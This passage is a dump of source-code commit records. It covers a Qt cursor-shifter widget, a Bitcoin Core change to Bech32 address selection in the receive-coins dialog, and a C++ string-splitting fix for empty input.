)\r\n\t{\r\n\t}\r\n\r\n\tvoid init();\r\n\r\n\tCursorShifter * q;\r\n\tQColor color;\r\n\tQColor light;\r\n\tint basicSize;\r\n\tQPoint cursorPos;\r\n\tQTimer * timer;\r\n\tbool leftMouseButtonPressed;\r\n\tQPoint offset;\r\n\tbool cursorOverrided;\r\n}; \/\/ class CursorShifterPrivate\r\n\r\nvoid\r\nCursorShifterPrivate::init()\r\n{\r\n\tcolor = q->palette().color( QPalette::Highlight );\r\n\tlight = lighterColor( color, 75 );\r\n\tbasicSize = qRound( (qreal) FingerGeometry::width() * 0.2 );\r\n\ttimer = new QTimer( q );\r\n\tq->setWindowModality( Qt::NonModal );\r\n\r\n\tQObject::connect( timer, SIGNAL( timeout() ),\r\n\t\tq, SLOT( _q_hideTimer() ) );\r\n}\r\n\r\n\/\/\r\n\/\/ CursorShifter\r\n\/\/\r\n\r\nCursorShifter::CursorShifter( QWidget * parent )\r\n\t:\tQWidget( parent, Qt::ToolTip | Qt::FramelessWindowHint |\r\n\t\t\tQt::WindowDoesNotAcceptFocus |\r\n\t\t\tQt::WindowTransparentForInput |\r\n\t\t\tQt::NoDropShadowWindowHint |\r\n\t\t\tQt::WindowStaysOnTopHint )\r\n\t,\td( new CursorShifterPrivate( this ) )\r\n{\r\n\td->init();\r\n}\r\n\r\nCursorShifter::~CursorShifter()\r\n{\r\n}\r\n\r\nQPoint\r\nCursorShifter::cursorPos() const\r\n{\r\n\treturn d->cursorPos;\r\n}\r\n\r\nQSize\r\nCursorShifter::minimumSizeHint() const\r\n{\r\n\treturn QSize( d->basicSize * 2, d->basicSize * 3 );\r\n}\r\n\r\nQSize\r\nCursorShifter::sizeHint() const\r\n{\r\n\treturn minimumSizeHint();\r\n}\r\n\r\nvoid\r\nCursorShifter::setCursorPos( const QPoint & pos )\r\n{\r\n\tif( d->cursorPos != pos )\r\n\t{\r\n\t\td->cursorPos = pos;\r\n\r\n\t\tmove( QPoint( d->cursorPos.x() - d->basicSize, d->cursorPos.y() ) );\r\n\t}\r\n}\r\n\r\nvoid\r\nCursorShifter::popup()\r\n{\r\n\tqApp->installEventFilter( this );\r\n\tshow();\r\n\td->timer->start( 3000 );\r\n}\r\n\r\nvoid\r\nCursorShifter::immediatelyHide()\r\n{\r\n\td->timer->stop();\r\n\r\n\tqApp->removeEventFilter( this );\r\n\r\n\thide();\r\n\r\n\tif( d->cursorOverrided )\r\n\t{\r\n\t\td->cursorOverrided = false;\r\n\t\tQApplication::restoreOverrideCursor();\r\n\t}\r\n}\r\n\r\nvoid\r\nCursorShifter::paintEvent( QPaintEvent * )\r\n{\r\n\tQPainter p( this );\r\n\tp.setRenderHint( QPainter::Antialiasing );\r\n\r\n\tQPainterPath roof;\r\n\troof.moveTo( d->basicSize, 0 );\r\n\troof.lineTo( d->basicSize * 2, d->basicSize );\r\n\troof.lineTo( 0, d->basicSize );\r\n\troof.lineTo( d->basicSize, 0 );\r\n\r\n\tp.setPen( d->color );\r\n\tp.setBrush( d->light );\r\n\tp.drawPath( roof );\r\n\r\n\tp.setBrush( d->color );\r\n\tp.drawRect( 0, d->basicSize, d->basicSize * 2, d->basicSize * 2 );\r\n}\r\n\r\nbool\r\nCursorShifter::eventFilter( QObject * obj, QEvent * e )\r\n{\r\n\tQ_UNUSED( obj )\r\n\r\n\tswitch( e->type() )\r\n\t{\r\n\t\tcase QEvent::MouseButtonPress :\r\n\t\t{\r\n\t\t\tQMouseEvent * me = static_cast< QMouseEvent* > ( e );\r\n\t\t\tQRect r = rect();\r\n\t\t\tr.moveTo( pos() );\r\n\t\t\tconst QPoint pos = me->globalPos();\r\n\r\n\t\t\tif( isVisible() && r.contains( pos ) )\r\n\t\t\t{\r\n\t\t\t\td->leftMouseButtonPressed = true;\r\n\t\t\t\td->timer->stop();\r\n\t\t\t\td->offset = QPoint( r.topLeft().x() + d->basicSize - pos.x(),\r\n\t\t\t\t\tpos.y() - r.topLeft().y() );\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbreak;\r\n\r\n\t\tcase QEvent::MouseButtonRelease :\r\n\t\t{\r\n\t\t\tif( d->leftMouseButtonPressed )\r\n\t\t\t{\r\n\t\t\t\td->leftMouseButtonPressed = false;\r\n\t\t\t\td->timer->start( 3000 );\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbreak;\r\n\r\n\t\tcase QEvent::MouseMove :\r\n\t\t{\r\n\t\t\tQMouseEvent * me = static_cast< QMouseEvent* > ( e );\r\n\r\n\t\t\tQRect r = rect();\r\n\t\t\tr.moveTo( pos() );\r\n\t\t\tconst QPoint pos = me->globalPos();\r\n\r\n\t\t\tif( isVisible() && r.contains( pos ) && !d->cursorOverrided )\r\n\t\t\t{\r\n\t\t\t\td->cursorOverrided = true;\r\n\t\t\t\tQApplication::setOverrideCursor( QCursor( Qt::ArrowCursor ) );\r\n\t\t\t}\r\n\t\t\telse if( d->cursorOverrided && ( !r.contains( pos ) | !isVisible() ) )\r\n\t\t\t{\r\n\t\t\t\td->cursorOverrided = false;\r\n\t\t\t\tQApplication::restoreOverrideCursor();\r\n\t\t\t}\r\n\r\n\t\t\tif( d->leftMouseButtonPressed )\r\n\t\t\t{\r\n\t\t\t\temit posChanged( me->globalPos() - d->offset );\r\n\r\n\t\t\t\treturn true;\r\n\t\t\t}\r\n\r\n\t\t\treturn false;\r\n\t\t}\r\n\t\tbreak;\r\n\r\n\t\tdefault :\r\n\t\t\treturn false;\r\n\t}\r\n}\r\n\r\nvoid\r\nCursorShifter::_q_hideTimer()\r\n{\r\n\tqApp->removeEventFilter( this );\r\n\r\n\thide();\r\n\r\n\tif( d->cursorOverrided )\r\n\t{\r\n\t\td->cursorOverrided = false;\r\n\t\tQApplication::restoreOverrideCursor();\r\n\t}\r\n}\r\n\r\n} \/* namespace QtMWidgets *\/\r\n<|endoftext|>"} {"text":"<commit_before>\/\/ Copyright (c) 2011-2015 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <wallet\/wallet.h>\n\n#include <qt\/receivecoinsdialog.h>\n#include <qt\/forms\/ui_receivecoinsdialog.h>\n\n#include <qt\/addressbookpage.h>\n#include <qt\/addresstablemodel.h>\n#include <qt\/bitcoinunits.h>\n#include <qt\/optionsmodel.h>\n#include <qt\/platformstyle.h>\n#include <qt\/receiverequestdialog.h>\n#include <qt\/recentrequeststablemodel.h>\n#include <qt\/walletmodel.h>\n\n#include <QAction>\n#include <QCursor>\n#include <QMessageBox>\n#include <QScrollBar>\n#include <QTextDocument>\n\nReceiveCoinsDialog::ReceiveCoinsDialog(const PlatformStyle *_platformStyle, QWidget *parent) :\n QDialog(parent),\n ui(new Ui::ReceiveCoinsDialog),\n columnResizingFixer(0),\n model(0),\n platformStyle(_platformStyle)\n{\n ui->setupUi(this);\n QString theme = GUIUtil::getThemeName();\n \n if (!_platformStyle->getImagesOnButtons()) {\n ui->clearButton->setIcon(QIcon());\n ui->receiveButton->setIcon(QIcon());\n ui->showRequestButton->setIcon(QIcon());\n ui->removeRequestButton->setIcon(QIcon());\n } else {\n ui->clearButton->setIcon(QIcon(\":\/icons\/\" + theme + \"\/remove\"));\n ui->receiveButton->setIcon(QIcon(\":\/icons\/\" + theme + \"\/receiving_addresses\"));\n ui->showRequestButton->setIcon(QIcon(\":\/icons\/\" + theme + \"\/edit\"));\n ui->removeRequestButton->setIcon(QIcon(\":\/icons\/\" + theme + \"\/remove\"));\n }\n\n \/\/ context menu actions\n QAction *copyURIAction = new QAction(tr(\"Copy URI\"), this);\n QAction *copyLabelAction = new QAction(tr(\"Copy label\"), this);\n QAction *copyMessageAction = new QAction(tr(\"Copy message\"), this);\n QAction *copyAmountAction = new QAction(tr(\"Copy amount\"), this);\n\n \/\/ context menu\n contextMenu = new QMenu(this);\n contextMenu->addAction(copyURIAction);\n contextMenu->addAction(copyLabelAction);\n contextMenu->addAction(copyMessageAction);\n contextMenu->addAction(copyAmountAction);\n\n \/\/ context menu signals\n connect(ui->recentRequestsView, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(showMenu(QPoint)));\n connect(copyURIAction, SIGNAL(triggered()), this, SLOT(copyURI()));\n connect(copyLabelAction, SIGNAL(triggered()), this, SLOT(copyLabel()));\n connect(copyMessageAction, SIGNAL(triggered()), this, SLOT(copyMessage()));\n connect(copyAmountAction, SIGNAL(triggered()), this, SLOT(copyAmount()));\n\n connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear()));\n}\n\nvoid ReceiveCoinsDialog::setModel(WalletModel *_model)\n{\n this->model = _model;\n\n if(_model && _model->getOptionsModel())\n {\n _model->getRecentRequestsTableModel()->sort(RecentRequestsTableModel::Date, Qt::DescendingOrder);\n connect(_model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));\n updateDisplayUnit();\n\n QTableView* tableView = ui->recentRequestsView;\n\n tableView->verticalHeader()->hide();\n tableView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);\n tableView->setModel(_model->getRecentRequestsTableModel());\n tableView->setAlternatingRowColors(true);\n tableView->setSelectionBehavior(QAbstractItemView::SelectRows);\n tableView->setSelectionMode(QAbstractItemView::ContiguousSelection);\n tableView->setColumnWidth(RecentRequestsTableModel::Date, DATE_COLUMN_WIDTH);\n tableView->setColumnWidth(RecentRequestsTableModel::Label, LABEL_COLUMN_WIDTH);\n\n connect(tableView->selectionModel(),\n SIGNAL(selectionChanged(QItemSelection, QItemSelection)), this,\n SLOT(recentRequestsView_selectionChanged(QItemSelection, QItemSelection)));\n \/\/ Last 2 columns are set by the columnResizingFixer, when the table geometry is ready.\n columnResizingFixer = new GUIUtil::TableViewLastColumnResizingFixer(tableView, AMOUNT_MINIMUM_COLUMN_WIDTH, DATE_COLUMN_WIDTH, this);\n\n \/\/ configure bech32 checkbox, disable if launched with legacy as default:\n if (model->wallet().getDefaultAddressType() == OutputType::BECH32) {\n ui->useBech32->setCheckState(Qt::Checked);\n } else {\n ui->useBech32->setCheckState(Qt::Unchecked);\n }\n\n ui->useBech32->setVisible(model->wallet().getDefaultAddressType() != OutputType::LEGACY);\n }\n}\n\nReceiveCoinsDialog::~ReceiveCoinsDialog()\n{\n delete ui;\n}\n\nvoid ReceiveCoinsDialog::clear()\n{\n ui->reqAmount->clear();\n ui->reqLabel->setText(\"\");\n ui->reqMessage->setText(\"\");\n updateDisplayUnit();\n}\n\nvoid ReceiveCoinsDialog::reject()\n{\n clear();\n}\n\nvoid ReceiveCoinsDialog::accept()\n{\n clear();\n}\n\nvoid ReceiveCoinsDialog::updateDisplayUnit()\n{\n if(model && model->getOptionsModel())\n {\n ui->reqAmount->setDisplayUnit(model->getOptionsModel()->getDisplayUnit());\n }\n}\n\nvoid ReceiveCoinsDialog::on_receiveButton_clicked()\n{\n if(!model || !model->getOptionsModel() || !model->getAddressTableModel() || !model->getRecentRequestsTableModel())\n return;\n\n QString address;\n QString label = ui->reqLabel->text();\n \/* Generate new receiving address *\/\n OutputType address_type = model->wallet().getDefaultAddressType();\n if (address_type != OutputType::LEGACY) {\n address_type = ui->useBech32->isChecked() ? OutputType::BECH32 : OutputType::P2SH_SEGWIT;\n }\n address = model->getAddressTableModel()->addRow(AddressTableModel::Receive, label, \"\", address_type);\n SendCoinsRecipient info(address, label,\n ui->reqAmount->value(), ui->reqMessage->text());\n ReceiveRequestDialog *dialog = new ReceiveRequestDialog(this);\n dialog->setAttribute(Qt::WA_DeleteOnClose);\n dialog->setModel(model);\n dialog->setInfo(info);\n dialog->show();\n clear();\n\n \/* Store request for later reference *\/\n model->getRecentRequestsTableModel()->addNewRequest(info);\n}\n\nvoid ReceiveCoinsDialog::on_recentRequestsView_doubleClicked(const QModelIndex &index)\n{\n const RecentRequestsTableModel *submodel = model->getRecentRequestsTableModel();\n ReceiveRequestDialog *dialog = new ReceiveRequestDialog(this);\n dialog->setModel(model);\n dialog->setInfo(submodel->entry(index.row()).recipient);\n dialog->setAttribute(Qt::WA_DeleteOnClose);\n dialog->show();\n}\n\nvoid ReceiveCoinsDialog::recentRequestsView_selectionChanged(const QItemSelection &selected, const QItemSelection &deselected)\n{\n \/\/ Enable Show\/Remove buttons only if anything is selected.\n bool enable = !ui->recentRequestsView->selectionModel()->selectedRows().isEmpty();\n ui->showRequestButton->setEnabled(enable);\n ui->removeRequestButton->setEnabled(enable);\n}\n\nvoid ReceiveCoinsDialog::on_showRequestButton_clicked()\n{\n if(!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel())\n return;\n QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows();\n\n for (const QModelIndex& index : selection) {\n on_recentRequestsView_doubleClicked(index);\n }\n}\n\nvoid ReceiveCoinsDialog::on_removeRequestButton_clicked()\n{\n if(!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel())\n return;\n QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows();\n if(selection.empty())\n return;\n \/\/ correct for selection mode ContiguousSelection\n QModelIndex firstIndex = selection.at(0);\n model->getRecentRequestsTableModel()->removeRows(firstIndex.row(), selection.length(), firstIndex.parent());\n}\n\n\/\/ We override the virtual resizeEvent of the QWidget to adjust tables column\n\/\/ sizes as the tables width is proportional to the dialogs width.\nvoid ReceiveCoinsDialog::resizeEvent(QResizeEvent *event)\n{\n QWidget::resizeEvent(event);\n columnResizingFixer->stretchColumnWidth(RecentRequestsTableModel::Message);\n}\n\nvoid ReceiveCoinsDialog::keyPressEvent(QKeyEvent *event)\n{\n if (event->key() == Qt::Key_Return)\n {\n \/\/ press return -> submit form\n if (ui->reqLabel->hasFocus() || ui->reqAmount->hasFocus() || ui->reqMessage->hasFocus())\n {\n event->ignore();\n on_receiveButton_clicked();\n return;\n }\n }\n\n this->QDialog::keyPressEvent(event);\n}\n\nQModelIndex ReceiveCoinsDialog::selectedRow()\n{\n if(!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel())\n return QModelIndex();\n QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows();\n if(selection.empty())\n return QModelIndex();\n \/\/ correct for selection mode ContiguousSelection\n QModelIndex firstIndex = selection.at(0);\n return firstIndex;\n}\n\n\/\/ copy column of selected row to clipboard\nvoid ReceiveCoinsDialog::copyColumnToClipboard(int column)\n{\n QModelIndex firstIndex = selectedRow();\n if (!firstIndex.isValid()) {\n return;\n }\n GUIUtil::setClipboard(model->getRecentRequestsTableModel()->data(firstIndex.child(firstIndex.row(), column), Qt::EditRole).toString());\n}\n\n\/\/ context menu\nvoid ReceiveCoinsDialog::showMenu(const QPoint &point)\n{\n if (!selectedRow().isValid()) {\n return;\n }\n contextMenu->exec(QCursor::pos());\n}\n\n\/\/ context menu action: copy URI\nvoid ReceiveCoinsDialog::copyURI()\n{\n QModelIndex sel = selectedRow();\n if (!sel.isValid()) {\n return;\n }\n\n const RecentRequestsTableModel * const submodel = model->getRecentRequestsTableModel();\n const QString uri = GUIUtil::formatBitcoinURI(submodel->entry(sel.row()).recipient);\n GUIUtil::setClipboard(uri);\n}\n\n\/\/ context menu action: copy label\nvoid ReceiveCoinsDialog::copyLabel()\n{\n copyColumnToClipboard(RecentRequestsTableModel::Label);\n}\n\n\/\/ context menu action: copy message\nvoid ReceiveCoinsDialog::copyMessage()\n{\n copyColumnToClipboard(RecentRequestsTableModel::Message);\n}\n\n\/\/ context menu action: copy amount\nvoid ReceiveCoinsDialog::copyAmount()\n{\n copyColumnToClipboard(RecentRequestsTableModel::Amount);\n}\n<commit_msg>GUI: Allow generating Bech32 addresses with a legacy-address default<commit_after>\/\/ Copyright (c) 2011-2015 The Bitcoin Core developers\n\/\/ Distributed under the MIT software license, see the accompanying\n\/\/ file COPYING or http:\/\/www.opensource.org\/licenses\/mit-license.php.\n\n#include <wallet\/wallet.h>\n\n#include <qt\/receivecoinsdialog.h>\n#include <qt\/forms\/ui_receivecoinsdialog.h>\n\n#include <qt\/addressbookpage.h>\n#include <qt\/addresstablemodel.h>\n#include <qt\/bitcoinunits.h>\n#include <qt\/optionsmodel.h>\n#include <qt\/platformstyle.h>\n#include <qt\/receiverequestdialog.h>\n#include <qt\/recentrequeststablemodel.h>\n#include <qt\/walletmodel.h>\n\n#include <QAction>\n#include <QCursor>\n#include <QMessageBox>\n#include <QScrollBar>\n#include <QTextDocument>\n\nReceiveCoinsDialog::ReceiveCoinsDialog(const PlatformStyle *_platformStyle, QWidget *parent) :\n QDialog(parent),\n ui(new Ui::ReceiveCoinsDialog),\n columnResizingFixer(0),\n model(0),\n platformStyle(_platformStyle)\n{\n ui->setupUi(this);\n QString theme = GUIUtil::getThemeName();\n \n if (!_platformStyle->getImagesOnButtons()) {\n ui->clearButton->setIcon(QIcon());\n ui->receiveButton->setIcon(QIcon());\n ui->showRequestButton->setIcon(QIcon());\n ui->removeRequestButton->setIcon(QIcon());\n } else {\n ui->clearButton->setIcon(QIcon(\":\/icons\/\" + theme + \"\/remove\"));\n ui->receiveButton->setIcon(QIcon(\":\/icons\/\" + theme + \"\/receiving_addresses\"));\n ui->showRequestButton->setIcon(QIcon(\":\/icons\/\" + theme + \"\/edit\"));\n ui->removeRequestButton->setIcon(QIcon(\":\/icons\/\" + theme + \"\/remove\"));\n }\n\n \/\/ context menu actions\n QAction *copyURIAction = new QAction(tr(\"Copy URI\"), this);\n QAction *copyLabelAction = new QAction(tr(\"Copy label\"), this);\n QAction *copyMessageAction = new QAction(tr(\"Copy message\"), this);\n QAction *copyAmountAction = new QAction(tr(\"Copy amount\"), this);\n\n \/\/ context menu\n contextMenu = new QMenu(this);\n contextMenu->addAction(copyURIAction);\n contextMenu->addAction(copyLabelAction);\n contextMenu->addAction(copyMessageAction);\n contextMenu->addAction(copyAmountAction);\n\n \/\/ context menu signals\n connect(ui->recentRequestsView, SIGNAL(customContextMenuRequested(QPoint)), this, SLOT(showMenu(QPoint)));\n connect(copyURIAction, SIGNAL(triggered()), this, SLOT(copyURI()));\n connect(copyLabelAction, SIGNAL(triggered()), this, SLOT(copyLabel()));\n connect(copyMessageAction, SIGNAL(triggered()), this, SLOT(copyMessage()));\n connect(copyAmountAction, SIGNAL(triggered()), this, SLOT(copyAmount()));\n\n connect(ui->clearButton, SIGNAL(clicked()), this, SLOT(clear()));\n}\n\nvoid ReceiveCoinsDialog::setModel(WalletModel *_model)\n{\n this->model = _model;\n\n if(_model && _model->getOptionsModel())\n {\n _model->getRecentRequestsTableModel()->sort(RecentRequestsTableModel::Date, Qt::DescendingOrder);\n connect(_model->getOptionsModel(), SIGNAL(displayUnitChanged(int)), this, SLOT(updateDisplayUnit()));\n updateDisplayUnit();\n\n QTableView* tableView = ui->recentRequestsView;\n\n tableView->verticalHeader()->hide();\n tableView->setHorizontalScrollBarPolicy(Qt::ScrollBarAlwaysOff);\n tableView->setModel(_model->getRecentRequestsTableModel());\n tableView->setAlternatingRowColors(true);\n tableView->setSelectionBehavior(QAbstractItemView::SelectRows);\n tableView->setSelectionMode(QAbstractItemView::ContiguousSelection);\n tableView->setColumnWidth(RecentRequestsTableModel::Date, DATE_COLUMN_WIDTH);\n tableView->setColumnWidth(RecentRequestsTableModel::Label, LABEL_COLUMN_WIDTH);\n\n connect(tableView->selectionModel(),\n SIGNAL(selectionChanged(QItemSelection, QItemSelection)), this,\n SLOT(recentRequestsView_selectionChanged(QItemSelection, QItemSelection)));\n \/\/ Last 2 columns are set by the columnResizingFixer, when the table geometry is ready.\n columnResizingFixer = new GUIUtil::TableViewLastColumnResizingFixer(tableView, AMOUNT_MINIMUM_COLUMN_WIDTH, DATE_COLUMN_WIDTH, this);\n\n if (model->wallet().getDefaultAddressType() == OutputType::BECH32) {\n ui->useBech32->setCheckState(Qt::Checked);\n } else {\n ui->useBech32->setCheckState(Qt::Unchecked);\n }\n }\n}\n\nReceiveCoinsDialog::~ReceiveCoinsDialog()\n{\n delete ui;\n}\n\nvoid ReceiveCoinsDialog::clear()\n{\n ui->reqAmount->clear();\n ui->reqLabel->setText(\"\");\n ui->reqMessage->setText(\"\");\n updateDisplayUnit();\n}\n\nvoid ReceiveCoinsDialog::reject()\n{\n clear();\n}\n\nvoid ReceiveCoinsDialog::accept()\n{\n clear();\n}\n\nvoid ReceiveCoinsDialog::updateDisplayUnit()\n{\n if(model && model->getOptionsModel())\n {\n ui->reqAmount->setDisplayUnit(model->getOptionsModel()->getDisplayUnit());\n }\n}\n\nvoid ReceiveCoinsDialog::on_receiveButton_clicked()\n{\n if(!model || !model->getOptionsModel() || !model->getAddressTableModel() || !model->getRecentRequestsTableModel())\n return;\n\n QString address;\n QString label = ui->reqLabel->text();\n \/* Generate new receiving address *\/\n OutputType address_type;\n if (ui->useBech32->isChecked()) {\n address_type = OutputType::BECH32;\n } else {\n address_type = model->wallet().getDefaultAddressType();\n if (address_type == OutputType::BECH32) {\n address_type = OutputType::P2SH_SEGWIT;\n }\n }\n address = model->getAddressTableModel()->addRow(AddressTableModel::Receive, label, \"\", address_type);\n SendCoinsRecipient info(address, label,\n ui->reqAmount->value(), ui->reqMessage->text());\n ReceiveRequestDialog *dialog = new ReceiveRequestDialog(this);\n dialog->setAttribute(Qt::WA_DeleteOnClose);\n dialog->setModel(model);\n dialog->setInfo(info);\n dialog->show();\n clear();\n\n \/* Store request for later reference *\/\n model->getRecentRequestsTableModel()->addNewRequest(info);\n}\n\nvoid ReceiveCoinsDialog::on_recentRequestsView_doubleClicked(const QModelIndex &index)\n{\n const RecentRequestsTableModel *submodel = model->getRecentRequestsTableModel();\n ReceiveRequestDialog *dialog = new ReceiveRequestDialog(this);\n dialog->setModel(model);\n dialog->setInfo(submodel->entry(index.row()).recipient);\n dialog->setAttribute(Qt::WA_DeleteOnClose);\n dialog->show();\n}\n\nvoid ReceiveCoinsDialog::recentRequestsView_selectionChanged(const QItemSelection &selected, const QItemSelection &deselected)\n{\n \/\/ Enable Show\/Remove buttons only if anything is selected.\n bool enable = !ui->recentRequestsView->selectionModel()->selectedRows().isEmpty();\n ui->showRequestButton->setEnabled(enable);\n ui->removeRequestButton->setEnabled(enable);\n}\n\nvoid ReceiveCoinsDialog::on_showRequestButton_clicked()\n{\n if(!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel())\n return;\n QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows();\n\n for (const QModelIndex& index : selection) {\n on_recentRequestsView_doubleClicked(index);\n }\n}\n\nvoid ReceiveCoinsDialog::on_removeRequestButton_clicked()\n{\n if(!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel())\n return;\n QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows();\n if(selection.empty())\n return;\n \/\/ correct for selection mode ContiguousSelection\n QModelIndex firstIndex = selection.at(0);\n model->getRecentRequestsTableModel()->removeRows(firstIndex.row(), selection.length(), firstIndex.parent());\n}\n\n\/\/ We override the virtual resizeEvent of the QWidget to adjust tables column\n\/\/ sizes as the tables width is proportional to the dialogs width.\nvoid ReceiveCoinsDialog::resizeEvent(QResizeEvent *event)\n{\n QWidget::resizeEvent(event);\n columnResizingFixer->stretchColumnWidth(RecentRequestsTableModel::Message);\n}\n\nvoid ReceiveCoinsDialog::keyPressEvent(QKeyEvent *event)\n{\n if (event->key() == Qt::Key_Return)\n {\n \/\/ press return -> submit form\n if (ui->reqLabel->hasFocus() || ui->reqAmount->hasFocus() || ui->reqMessage->hasFocus())\n {\n event->ignore();\n on_receiveButton_clicked();\n return;\n }\n }\n\n this->QDialog::keyPressEvent(event);\n}\n\nQModelIndex ReceiveCoinsDialog::selectedRow()\n{\n if(!model || !model->getRecentRequestsTableModel() || !ui->recentRequestsView->selectionModel())\n return QModelIndex();\n QModelIndexList selection = ui->recentRequestsView->selectionModel()->selectedRows();\n if(selection.empty())\n return QModelIndex();\n \/\/ correct for selection mode ContiguousSelection\n QModelIndex firstIndex = selection.at(0);\n return firstIndex;\n}\n\n\/\/ copy column of selected row to clipboard\nvoid ReceiveCoinsDialog::copyColumnToClipboard(int column)\n{\n QModelIndex firstIndex = selectedRow();\n if (!firstIndex.isValid()) {\n return;\n }\n GUIUtil::setClipboard(model->getRecentRequestsTableModel()->data(firstIndex.child(firstIndex.row(), column), Qt::EditRole).toString());\n}\n\n\/\/ context menu\nvoid ReceiveCoinsDialog::showMenu(const QPoint &point)\n{\n if (!selectedRow().isValid()) {\n return;\n }\n contextMenu->exec(QCursor::pos());\n}\n\n\/\/ context menu action: copy URI\nvoid ReceiveCoinsDialog::copyURI()\n{\n QModelIndex sel = selectedRow();\n if (!sel.isValid()) {\n return;\n }\n\n const RecentRequestsTableModel * const submodel = model->getRecentRequestsTableModel();\n const QString uri = GUIUtil::formatBitcoinURI(submodel->entry(sel.row()).recipient);\n GUIUtil::setClipboard(uri);\n}\n\n\/\/ context menu action: copy label\nvoid ReceiveCoinsDialog::copyLabel()\n{\n copyColumnToClipboard(RecentRequestsTableModel::Label);\n}\n\n\/\/ context menu action: copy message\nvoid ReceiveCoinsDialog::copyMessage()\n{\n copyColumnToClipboard(RecentRequestsTableModel::Message);\n}\n\n\/\/ context menu action: copy amount\nvoid ReceiveCoinsDialog::copyAmount()\n{\n copyColumnToClipboard(RecentRequestsTableModel::Amount);\n}\n<|endoftext|>"} {"text":"<commit_before>#include \"Utility\/String.h\"\n\n#include <string>\n#include <vector>\n#include <stdexcept>\n#include <algorithm>\n#include <cctype>\n\nnamespace String\n{\n namespace\n {\n const auto whitespace = \" \\t\\n\";\n }\n}\n\nstd::vector<std::string> String::split(std::string s, std::string delim, size_t count)\n{\n if(delim.empty())\n {\n s = remove_extra_whitespace(s);\n delim = \" \";\n }\n\n std::vector<std::string> result;\n size_t start_index = 0;\n size_t end_index = 0;\n size_t split_count = 0;\n while(end_index < s.size() && split_count < count)\n {\n end_index = s.find(delim, start_index);\n result.push_back(s.substr(start_index, end_index - start_index));\n start_index = std::min(end_index, s.size()) + delim.size();\n ++split_count;\n }\n\n if(start_index <= s.size())\n {\n result.push_back(s.substr(start_index));\n }\n\n return result;\n}\n\nbool String::starts_with(const std::string& s, const std::string& beginning)\n{\n return (beginning.size() <= s.size()) && std::equal(beginning.begin(), beginning.end(), s.begin());\n}\n\nbool String::ends_with(const std::string& s, const std::string& ending)\n{\n return (ending.size() <= s.size()) && std::equal(ending.rbegin(), ending.rend(), s.rbegin());\n}\n\nstd::string String::trim_outer_whitespace(const std::string& s)\n{\n auto text_start = s.find_first_not_of(whitespace);\n if(text_start == std::string::npos)\n {\n return {};\n }\n\n auto text_end = s.find_last_not_of(whitespace);\n return s.substr(text_start, text_end - text_start + 1);\n}\n\nstd::string String::remove_extra_whitespace(const std::string& s)\n{\n std::string result;\n\n for(auto c : trim_outer_whitespace(s))\n {\n if(contains(whitespace, c))\n {\n if(result.back() != ' ')\n {\n result.push_back(' ');\n }\n }\n else\n {\n result.push_back(c);\n }\n }\n\n return result;\n}\n\nstd::string String::strip_comments(const std::string& str, const std::string& comment)\n{\n return trim_outer_whitespace(str.substr(0, str.find(comment)));\n}\n\nstd::string String::strip_block_comment(const std::string& str, const std::string& start, const std::string& end)\n{\n auto start_comment_index = str.find(start);\n auto end_comment_index = str.find(end);\n\n if(start_comment_index == std::string::npos && end_comment_index == std::string::npos)\n {\n return trim_outer_whitespace(str);\n }\n\n if(start_comment_index == std::string::npos || end_comment_index == std::string::npos)\n {\n throw std::invalid_argument(\"\\\"\" + str + \"\\\" is missing a comment delimiter: \" + std::string{start} + std::string{end});\n }\n\n if(start_comment_index >= end_comment_index)\n {\n throw std::invalid_argument(\"\\\"\" + str + \"\\\" contains bad comment delimiters: \" + std::string{start} + std::string{end});\n }\n\n auto first_part = str.substr(0, start_comment_index);\n auto last_part = str.substr(end_comment_index + end.size());\n return strip_block_comment(trim_outer_whitespace(first_part) + \" \" + trim_outer_whitespace(last_part), start, end);\n}\n\nstd::string String::lowercase(std::string s)\n{\n for(auto& c : s){ c = std::tolower(c); }\n return s;\n}\n\nstd::string String::format_integer(int n, const std::string& separator)\n{\n if(n < 0)\n {\n return '-' + format_integer(size_t(-n), separator);\n }\n else\n {\n return format_integer(size_t(n), separator);\n }\n}\n\nstd::string String::format_integer(size_t n, const std::string& separator)\n{\n auto s = std::to_string(n);\n auto index = s.size() % 3;\n index = (index == 0 ? 3 : index);\n auto result = s.substr(0, index);\n\n for( ; index < s.size(); index += 3)\n {\n result += separator;\n result += s.substr(index, 3);\n }\n\n return result;\n}\n<commit_msg>Empty string results in an empty split() vector<commit_after>#include \"Utility\/String.h\"\n\n#include <string>\n#include <vector>\n#include <stdexcept>\n#include <algorithm>\n#include <cctype>\n\nnamespace String\n{\n namespace\n {\n const auto whitespace = \" \\t\\n\";\n }\n}\n\nstd::vector<std::string> String::split(std::string s, std::string delim, size_t count)\n{\n if(delim.empty())\n {\n s = remove_extra_whitespace(s);\n delim = \" \";\n }\n\n if(s.empty())\n {\n return {};\n }\n\n std::vector<std::string> result;\n size_t start_index = 0;\n size_t end_index = 0;\n size_t split_count = 0;\n while(end_index < s.size() && split_count < count)\n {\n end_index = s.find(delim, start_index);\n result.push_back(s.substr(start_index, end_index - start_index));\n start_index = std::min(end_index, s.size()) + delim.size();\n ++split_count;\n }\n\n if(start_index <= s.size())\n {\n result.push_back(s.substr(start_index));\n }\n\n return result;\n}\n\nbool String::starts_with(const std::string& s, const std::string& beginning)\n{\n return (beginning.size() <= s.size()) && std::equal(beginning.begin(), beginning.end(), 